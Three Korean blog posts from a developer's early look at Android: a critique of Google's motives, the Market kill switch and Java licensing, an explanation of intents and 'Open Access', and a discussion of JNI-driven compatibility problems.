Android에 대한 小考(소고) – 구글의 사악성

※ Daum 소규모 지인 위주의 카페에 안드로이드 초기 느낀 점을 지인들과 공유하기 위해서 적은 글인데 어딘가 따로 정리가 필요해서 블로그로 복사합니다.

제가 유명한 컬럼니스트도 아니고 제목이 좀 자극적이어서 상당히 부담이 되는 부분이기는 합니다만 이건 낚시질을 위한 제목이 아니고 일부 인터넷에서 오고가는 얘기를 인용하다보니 제목이 극단적이 되었습니다.

결론은 구글이 사악하다는 것이 아니고 사악하지 않은 척 하지만 그 뒷면에 많은 어두운 면이 있다는 것입니다.

Google 검색 서비스 초기에 광고없는 검색 창 하나만 달랑 보이는 페이지를 보면서 어느 대학에서 학생들이 연구용으로 만들어 놓은 페이지인가 하면서 종종 사용하기 시작했습니다.

Google Toolbar가 없는 IE는 어쩐지 허전해서 꼭 설치하고 PC를 사용해야 직성이 풀리고 회사 PC에는 Google Desktop을 설치해서 메일/문서를 찾을 때도 Google을 사용하고 구글 Mail, Google Doc, Google Groups, Piccasa Web, … 제가 실제로 사용하는 서비스들 입니다. 검색 결과가 탁월하고 속도가 빨라서 이용하기 시작했는데 지금 돌아보니 어느덧 ‘구글러’가 되어 있네요…

‘구글러’, ‘구글링’이라는 유행어를 만들어내고 사람들이 스스로를 구글에 연관시키는 부분은 대단하다고 할 수 있겠습니다.
구글의 다양한 Web 기반 service들은 구글이 애써서 굳이 뒷문으로 정보를 빼돌리지 않아도 사용자 스스로가 개인 정보를 알아서 바치는 형태를 만들어내는 구글의 고도의 전략일 수도 있습니다.

FSF(Free Software Foundation, 자유 소프트웨어 재단)을 설립한 리처드 스톨만이 언급한 “덫”에 대한 이야기
“웹 기반 소프트웨어를 사용하지 말라. 그렇게 하는 건 자신의 통제권을 잃는 일이다. 당신의 컴퓨터에 자유 소프트웨어를 설치해 당신만의 컴퓨팅을 하라. 독점 소프트웨어를 사용하는 것만큼 나쁜 것 웹기반 소프트웨어다. 당신이 독점 소프트웨어나 다른 누군가의 웹 서버에 있는 소프트웨어를 이용한다는 당신은 자신을 방어할 아무런 힘도 없게된다. 누가 됐든 그 소프트웨어를 만든 사람의 손아귀에서 벗어날 수 없기 때문이다.”

1.구글의 Goal – Gateway
어느 세미나를 갔더니 Google이 검색에 집중한 이유가 Web의 Gateway라서 그렇다고 합니다. (모든 길은 로마로 통한다는 문구가 문득 떠오르네요)
NHN을 비롯한 우리나라 회사들이 컨텐츠를 집중하는 포털에 집중한데 반해서 전혀 새로운 시도로 아무도 예상하지 못했던 성공을 거둔 Google인데, Mobile에서의 Gateway를 플랫폼이라고 생각했고 ‘Android’가 탄생한 배경이라고 합니다.

현재 구글에서는 막대한 비용이 투입된 Android로 어떻게 돈을 벌겠다라는 계획을 내놓지 않고 있습니다. 막연하게 Mobile이 활성화가 되면 검색을 비롯한 Web Access 기회가 많아져서 기존 구글 사업에 이득이 될 것이라는 막연한 얘기만을 하고 있는 상황이죠.

제가 순진한 학생이라면 이런 말을 믿겠지만 수익성을 확보해야 하는 기업이 하는 말이라 진정성에 의문을 가지게 됩니다.
경영진이나 주주들에게는 어떤 식으로 설득했을까???

애플에서 공전의 히트를 기록한 App Store를 따라하는 후발주자 이면서 Open Market에서 수수료 정도의 수익만 떼고 개발자와 사업자에게 모두 떼어주는 전략은 구글 체크아웃이라는 사업이 성장할 수 있는 기반이기 때문에 그 나마 속이 보이는 상황입니다만, 도대체 그 정체를 알 수 없는 기업입니다.

2.안드로이드 Kill Switch
아이폰에는 백도어가 있어 애플이 자사가 인증하지 않은 애플리케이션을 원격으로 삭제할 수도 있습니다. 안드로이드는 초기 플랫폼에서는 없던 이 기능이 2008년 후반에 공식적(?)으로 지원되기 시작했습니다.

안드로이드 Open Market 컨텐츠에 대해서 다운로드 받은 컨텐츠에 대해서 인증을 하지 않기 때문에 악성 SW가 등록될 가능성이 많고 이를 위해서 기능이 필요악일 수도 있죠.

원래 목적이 Open Market에서 구매한 컨텐츠에 대해서 환불요청을 하는 경우에 사용자가 컨텐츠를 삭제할 것을 기대하지 않고 원격으로 해당 컨텐츠를 삭제하는 것이죠. (어찌 보면 당연하고 편리할 수 있는 기능입니다만…)
우려하는 것은 Kill Switch가 구글이 마음 먹기에 따라서 Big Brother 역할을 수행할 수 있다는 것입니다.

3.책임지지 않는 구글
안드로이드 관련 프로젝트를 진행하게 되면 상당히 많은 장애물을 만나게 되는데 그 때마다 도달하는 결론이 있습니다.
안드로이드의 이면에는 구글이 책임지지 않는 것이 포함되어 있다는 것이죠.

① Open Market
구글이 수익성을 직접적으로 확보하지 않는 대신에 컨텐츠 인증 등의 절차를 없애 모든 이슈를 사용자 간의 문제로 만들었다는 것입니다.
문제가 발생해도 구글은 어떠한 책임도 지지 않는 구조라는 것이죠.

② Logo 테스트
MS의 로고 테스트는 인증의 개념에서 접근하지만 구글의 로고 테스트는 제휴 및 서비스 개념으로 접근합니다.
안드로이드 단말 테스트를 요청하면 테스트는 해주지만 FAIL 항목이 있다고 출시가 안되는 것도 아니고 그렇다고 구글의 로고가 호환성이나 안정성을 담보하는 것이 아니라는 의미로 결론은 구글이 책임지지 않는 다는 것입니다.

③ License
안드로이드는 GPL2, Apache2, … 등의 아주 복잡한 License가 얽혀 있습니다.

그 중에서도 Java license는 아주 복잡하고 미묘한 구조로 되어 있습니다.
Java는 개발 중에는 license가 적용되지 않지만 상용화하는 순간에 license가 적용됩니다.
안드로이드 개발 과정에는 Sun의 Java license를 교묘히 피해가는 묘수가 동원되는데 개발 중에는 JDK를 비롯한 Java tool-chain 등 모든 도구를 사용합니다. 그러다가 바이너리가 만들어지는 그 순간에 Java VM용 byte code를 Dalvik VM용 byte code로 변환하여 license에서 자유롭다고 주장합니다.

물론 이 부분은 Sun사의 공식 입장과는 다른 것 같습니다.

문제는 안드로이드가 Sun사의 Java license를 침해했다는 결론에 도달해도 구글이 안드로이드로 인해서 얻은 수익을 증명할 수 없기 때문에 책임지지 않을 것이라는 것이죠. 안드로이드 기반으로 출시한 제조사는 부당 이익을 증명할 수 있으므로 당연히 문제가 될테구요.

License 부분도 결국은 구글이 책임지지 않는다는 것입니다.

3. 미확인 이슈 하나 더
이 부분은 제가 안드로이드 공부 초기에 어떤 블로그에서 읽은 내용인데, 어떤 블로그 인지 다시 찾지를 못해서 사실인지 아닌지 확인된 사항이 아닙니다만, 구글 안드로이드 License에는 구글이 판단하기에 Business적인 가치가 없다면
안드로이드를 더 이상 진행하지 않을 수도 있다는 문구가 있다고 합니다. 판을 흔들 수 있는 아주 무서운 말인데 Open Project라는 이유로 간과되는 것이 아닌가 싶었습니다.

물론, Open Project이니 구글 없이도 진화를 할 것이라고 생각할 수 있을 것 같습니다.
일부 사람들은 구글이 지배력을 확대하기 전에 안드로이드를 구글로부터 분리시키자는 주장도 하고 있습니다.

그런데, 지금 안드로이드가 완전한 Open Project는 아니라는 사실이 아주 중요합니다.
안드로이드 소스는 Private version과 Public version이 존재하며 OHA member에게만 Private version을 비롯한 고급 정보가 제공됩니다.

Non-public API가 존재하며 해당 API를 사용하면 SDK에서 소스 빌드가 되지 않기 때문에 Linux 상에서 개발을 해야 하는데 디버깅이 아주 복잡하고 어렵습니다.
안드로이드에서 기본 제공되는 대부분의 application이 Non-public API를 사용해서 Public version SDK로는 수정이 불가능하고 여러가지 복잡한 과정을 거쳐야 개발이 가능합니다.

OHA member로 안드로이드가 세상에 빛을 볼때까지 투자한 비용이 있기 때문에 당연한 결과이지만 이런 내용을 모르는 순진한 개발자들이 많다는 것이 문제인 것 같습니다.

좋게 생각하면 얼마든지 좋게 생각하고 이해할 수 있는 수준의 문제 제기입니다.

다만, 구글의 모토가 “Don’t be Evil”로 사악해지지 말자는 것이고 인터넷에서 매력적인 서비스를 공짜로 제공하고 있는 자선사업가 같은 모습을 보이기 때문에 사람들이 구글의 사악성이라는 잣대를 지속적으로 들이대는 것이 아닌가 싶습니다.

아직까지 구글은 사악하지 않습니다. 다만, 사악해질 수 있는 여러가지 방법들이 있어서 의심된다는 것이죠.

참고문헌
http://www.visionmobile.com/blog/2008/09/the-darker-side-of-android/

“클라우드 컴퓨팅, 그거 덫이야”…스톨만 일갈

Android에 대한 小考(소고) – Open Access

※ Daum 소규모 지인 위주의 카페에 안드로이드 초기 느낀 점을 지인들과 공유하기 위해서 적은 글인데 어딘가 따로 정리가 필요해서 블로그로 복사합니다.

Open Access가 획기적이라고 극찬하였지만 실제로는 “Open Application”에 대한 내용입니다.
구글 CEO가 FCC에 보낸 서한에 Open Access라는 내용이 있고 그 중의 한가지로 안드로이드에 적용된 기술입니다.

Open Application의 핵심은 어떠한 Application도 플랫폼에서 독점적으로 동작할 수 없다는 것입니다.
(심지어 Google이나 제조사에서 출시 때 기본적으로 탑재하여 제공하는 application 조차도…)
플랫폼에서 구조적으로 불가능하도록 설계가 되어 있고 모든 Application은 안드로이드 플랫폼에서 평등합니다.

Open Access
Open Access

위 그림 중에서 오른쪽 Emulator Capture화면을 보면 “Home”과 “Home Sample” application 중에서 선택하라는 의미의 POP-UP이 보입니다.

이 그림만으로 보면 큰 반향이 있을만한 사항이 아닙니다만
Home이 일반적으로 대기화면 application으로 시스템이 기본적으로 제공하는 기능이라고 볼 때 사용자가 대기화면 application을 선택적으로 변경할 수 있다는 의미입니다.
여기서 중요한 것은 일반적으로 FEATURE폰 또는 기존 OS에서는 대기화면을 변경한다는 의미는 Look & Feel이 변경 가능하다는 의미이지 Application 자체가 변경된다는 의미가 아니라는 것입니다.

Microsoft가 Windows의 독점적인 지위를 이용해서 Netscape 브라우저를 밀어내고 별도 좋지도 않은 Internet Explorer의 시장 점유율을 획기적으로 끌어 올렸던 이유는 다 아시다시피 Windows에 IE는 기본적으로 탑재되어 있고 기본으로 설정된 IE 브라우저외에 별도로 Netscape 브라우저를 사용하기에는 사용자들이 많이 불편했기 때문입니다.
최근에는 반독점 판결에 의해서 브라우저와 검색 공급자를 사용자 선택으로 변경하게 하였지만 이는 또 다른 의미에서 선택된 application에게 독점적 지위가 부여되는 악순환일 뿐입니다.

안드로이드에서는 application들이 어떻게 평등한 권리를 가지는지 기술적으로 접근해 보겠습니다.

① System application의 Category 분류
구조적으로 평등한 권리가 가능한 기본 기술은 Application을 제작하는 시점에 category를 설정할 수 있습니다.
위 화면의 경우 기본적으로 안드로이드에 ‘HOME’이라는 속성을 가지는 application이 탑재된 상태에서 사용자가 “Home Sample”이라는 ‘HOME’ 속성을 가지는 application을 추가로 설치하고 부팅을 하게 되면 ‘HOME’이라는 동작을 수행하는 application이 2가지 이상이므로 플랫폼에서 사용자에게 어떤 application을 사용할 것인지 기본으로 설정할 것인지 묻는 것입니다.
즉, 제조사 조차도 대기화면을 사용자가 원하지 않으면 점유할 수 없다는 의미입니다.

② Intent라는 message 전달 시스템을 이용한 ACTION 정의
Category외에 “ACTION”이라는 것이 있는데 예를 들면 전화를 걸기 위해서 Dialer를 호출하는 “ACTION_DIAL”과 전화번호를 전달해서 바로 전화를 거는 “ACTION_CALL”입니다.
바꿔 말하면 기존 FEATURE phone에서는 해당 기능을 수행하는 Application을 직접 호출하는 방식인데 반해 안드로이드는 application을 직접 호출하는 것이 아니고 플랫폼에게 어떠한 동작을 하고 싶다고 요청하게 되면 플랫폼에 등록된 application 중에서 해당 ACTION을 수행하는 application에게 message를 전달하는 방식으로 HOME과 마찬가지로 동일한 ACTION을 수행하는 application이 2개 이상인 경우에는 사용자게에 어떠한 application으로 동작을 수행할지 묻게 됩니다.

물론, 특정 application을 직접 호출할 수 있는 방법을 제공하지 않는 것은 아니지만 안드로이드 플랫폼 진화 방향을 거스르는 동작 구조이므로 사용자의 선택을 받아야 하는 application 입장에서 독자적으로 동작하게 만들 이유가 없는 것이죠.

이러한 구조하에서 구글이 원했던 또는 원하지 않았던 아주 재미있는 자발적인 Site가 생겨났습니다.
OpenIntents라는 것입니다.

안드로이드에서는 “ACTION_DIAL(android.intent.action.CALL)”과 같이 시스템에서 정의하는 ACTION이 있지만 사용자가 임의로 ACTION을 생성해서 사용할 수 있도록 허용하고 있습니다.

이렇다보니 기존 안드로이드에서 제공하지 않는 신규 기능을 수행하는 application을 개발하고 해당 기능을 수행할 수 있는 action을 정의하였는데 다른 application에서 사용하지 않으면 무용지물이 될 뿐 아니라 동일한 동작에 대해서 action 정의가 달라질 수 있는 문제점을 자발적으로 해결하기 위해 생겨난 Site입니다.

내가 필요한 기능이 이미 OPEN되어 있다면 해당 Site에서 소스레벨 또는 application을 다운받아서 설치한 이후에 해당 기능을 호출해서 사용할 수도 있고 반대의 경우도 가능합니다.

어느 누가 통제하지 않고 관리하지 않아도 필요에 의해서 자발적으로 문제점을 해결해 가는 모습은 OPEN platform이기 때문에 가능한 문화가 아닌가 생각합니다.

Android에 대한 小考(소고) – 호환성과 불행의 씨앗

※ Daum 소규모 지인 위주의 카페에 안드로이드 초기 느낀 점을 지인들과 공유하기 위해서 적은 글인데 어딘가 따로 정리가 필요해서 블로그로 복사합니다.

아래 그림은 안드로이드 소개에서 꼭 보여지는 그림입니다. 파란색 영역은 JAVA, 초록색 영역은 C, 붉은색 영역은 Linux Kernel을 의미합니다.

Android architecture diagram
Android architecture diagram

원래 안드로이드에서는 Application은 Application framework 위에서 Java로 프로그래밍을 해야 합니다.
문제는 현 시점에서 Only Java로 할 수 있는 일이 많지 않다는 것이죠…
그 부분은 안드로이드 플랫폼 구조에서도 명확하게 보여집니다.
Application Framework 부터는 Java기반이지만 Libraries layer와 HAL layer 등은 C언어라는 것이고 Java언어와 C언어가 공존할 수 밖에 없는 구조로 다행인지 불행인지 Java application에서도 C library 사용이 가능합니다.
JNI(Java Native Interface)라는 기술을 사용하는 것인데 최근 안드로이드 관련해서 끊임없이 언급되는 용어입니다.

여기서 안드로이드의 불행이 시작됩니다.

현재 대부분의 Solution들은 C언어로 구현되어 있는데 어느날 갑자기 안드로이드가 대세가 되면서 Solution 업체들이 기존 코드를 Java로 모두 바꾸는 것을 포기하고 JNI interface를 이용해서 Solution을 재활용합니다.

물론, Libraries Layer에 기존 Core library들을 포팅하고 Application Framework 단에 Solution을 적절히 활용할 수 있는 Manager/Service Component 들을 만들어주면 좋은데 안드로이드 개발자가 거의 없고 안드로이드 플랫폼을 이해하는 수준이 미천해서 대부분 업체들은 아래와 같은 두 가지의 간편한 방법을 이용합니다.

① Java Application이 JNI Interface를 이용해서 Library를 직접 호출하도록 하는 방법
② Application Framework을 통하지 않고 안드로이드 플랫폼 옆에 Solution을 Vertical로 배치하는 방법

안드로이드 최초 배포시에는 JNI에 대해서 Recommened하지 않았으나 기술적으로 사용을 제한하지 않아서 방관하는 입장이었고 향후에는 JNI를 정식으로 지원한다는 얘기도 종종 들리고 있습니다.

위와 같은 방법으로 Solution이 포팅이 되면서 Java VM 기반 플랫폼의 장점이 무색해지는 동시에 표준 Application Framework과 연동되지 않는 Solution으로 인해서 호환성에 문제가 발생하는 것입니다.

Windows Mobile이나 Symbian같이 한 업체가 Ownership을 가지고 강력하게 통제를 하는 경우에는 호환성 문제가 심각하지 않지만 완전한 Open platform인 안드로이드는 이런 위험에 노출되어 있었는데 세상에 빛을 본지 얼마되지 않아서 표준 구조가 무참히 깨지는 현실에 직면합니다.

호환성 문제는 이러한 Solution에 국한된 것이 아니고 안드로이드 표준 배포 버전인 v1.1과 v1.5 간에도 문제로 인식되고 있는 상황입니다. v1.5 플랫폼에서 Application을 개발하는 개발자는 v1.1 플랫폼에서도 정상 동작하는지 확인을 해야 하고 이를 위해서 v1.5 SDK부터는 Virtual Device 개념을 도입해서 v1.1, v1.5 등 버전별로 Emulator를 별도 생성할 수 있습니다.

Linux가 Kernel 단에서는 구조적으로 호환성을 확보했다고는 하나 난립하는 Shell로 인해서 하나의 Shell에 익숙해진 사용자가 다른 Shell을 사용하지 못하는 현상이 안드로이드 플랫폼에서도 동일하게 발생하지 않을까 심각하게 우려가 되고 있습니다.

이 부분이 안드로이드 플랫폼의 생사의 기로에 영향을 끼칠 불행의 씨앗이 아닐까 싶습니다.

오늘은 기술적인 얘기가 주로 언급되었는데 다음번에는 안드로이드 플랫폼의 가장 큰 특장점인 Open Access에 대해서 얘기를 해볼까 합니다.

Open Access 개념이 생소하고 글로 얼마나 이해를 잘 시킬 수 있을지 모르겠지만 상당히 획기적인 개념이고 안드로이드 플랫폼이 극찬받는 이유 중의 하나이므로 시간을 할애해서 이해를 하시면 좋은 경험이 될 듯 합니다.